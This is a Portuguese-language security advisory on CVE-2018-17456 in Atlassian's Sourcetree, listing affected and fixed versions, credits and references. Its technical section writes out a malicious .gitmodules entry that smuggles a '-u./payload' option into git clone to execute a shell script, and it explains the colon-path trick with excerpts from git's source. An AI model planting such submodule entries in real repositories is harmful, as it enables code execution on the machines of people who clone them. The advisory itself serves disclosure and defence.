ASA-2019-00128 – Sourcetree: Vulnerabilidade de validação de entrada via submódulos do Git


For the English version of this alert, click here.

Allele Security Alert

ASA-2019-00128

Identificador(es)

ASA-2019-00128

Título

Vulnerabilidade de validação de entrada via submódulos do Git

Fabricante(s)

Atlassian

Produto(s)

Sourcetree

Versão(ões) afetada(s)

Sourcetree para macOS iniciando com 1.2 anterior a versão 3.1.1
Sourcetree para Windows iniciando com 0.5a anterior a versão 3.0.17

Versão(ões) corrigida(s)

Sourcetree para macOS versão 3.1.1
Sourcetree para Windows versão 3.0.17

Prova de conceito

Sim

Descrição

Sourcetree para macOS antes da versão 3.1.1 e Sourcetree para Windows antes da versão 3.0.17 eram ambos vulneráveis ao CVE-2018-17456. Um atacante remoto com permissão para se comprometer com um repositório git vinculado no Sourcetree para macOS ou Windows é capaz de explorar esse problema para obter a execução de código no sistema.

Detalhes técnicos

O arquivo .gitmodules é exibido da seguinte maneira:

[submodule "x:x"]
path = x:x
url = -u./payload

O comando atual que está sendo injetado é definido pela url, -u./payload aponta a flag upload-pack do git clone para o payload do shell script. Observe também: dentro do caminho, essa parte é necessária para realmente executar o payload do shell script.

O caminho terminará como a URL do repositório na operação clone subsequente:

execve("/usr/lib/git-core/git", ["/usr/lib/git-core/git", "clone",
"--no-checkout", "--progress", "--separate-git-dir",
"/tmp/huhu/.git/modules/x:x", "-u./payload", "/tmp/huhu/x:x"],...

Como a URL real de .gitmodules é interpretado como o argumento -u.

Os dois pontos se deve ao fato de que o caractere de ‘:’ nos deixa passar por essas linhas em transport.c:

} else if (url_is_local_not_ssh(url) && is_file(url) && is_bundle(url, 1)) {
    struct bundle_transport_data *data = xcalloc(1, sizeof(*data));
    transport_check_allowed("file");
    ret->data = data;
    ret->vtable = &bundle_vtable;
    ret->smart_options = NULL;

url_is_local_not_ssh retornará false devido aos dois pontos no caminho. E, portanto, mais tarde, no código, as smart_options que contêm a configuração do uploadpack ainda estão em vigor:

} else {
    /* Unknown protocol in URL. Pass to external handler. */
    int len = external_specification_len(url);
    char *handler = xmemdupz(url, len);
    transport_helper_init(ret, handler);
    }

    if (ret->smart_options) {
        ret->smart_options->thin = 1;
        ret->smart_options->uploadpack = "git-upload-pack";
        if (remote->uploadpack)
            ret->smart_options->uploadpack = remote->uploadpack;
        ret->smart_options->receivepack = "git-receive-pack";1
        if (remote->receivepack)
            ret->smart_options->receivepack = remote->receivepack;
    }

A restrição para ter dois pontos no caminho parece dificultar a exploração no Windows como um sinal de dois pontos é um caractere proibido dentro de um caminho no Windows. No entanto, conforme observado por algumas pessoas durante a divulgação: O Git em execução no Windows Subsystem para Linux ou cygwin permitirá a exploração em hosts Windows.

Créditos

Terry Zhang (Tophant)

Referência(s)

Sourcetree Security Advisory 2019-03-06
https://confluence.atlassian.com/sourcetreekb/sourcetree-security-advisory-2019-03-06-966678691.html

Input validation vulnerability via Git in Sourcetree for Mac – CVE-2018-17456
https://jira.atlassian.com/browse/SRCTREE-6394

Input validation vulnerability via Git in Sourcetree for Windows – CVE-2018-17456
https://jira.atlassian.com/browse/SRCTREEWIN-11292

[Announce] Git 2.14.5, 2.15.3, 2.16.5, 2.17.2, 2.18.1, and 2.19.1
https://marc.info/?l=git&m=153875888916397&w=2

CVE-2018-17456
https://gist.github.com/joernchen/38dd6400199a542bc9660ea563dcf2b6

RCE via Git submodules PoC
https://github.com/joernchen/poc-submodule

CVE-2018-17456
https://github.com/xichawai/CVE-2018-17456

CVE-2018-17456
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-17456

CVE-2018-17456
https://nvd.nist.gov/vuln/detail/CVE-2018-17456

Se encontrou algum erro neste alerta ou deseja uma análise compreensiva, entre em contato.

Última modificação: 12 março 2019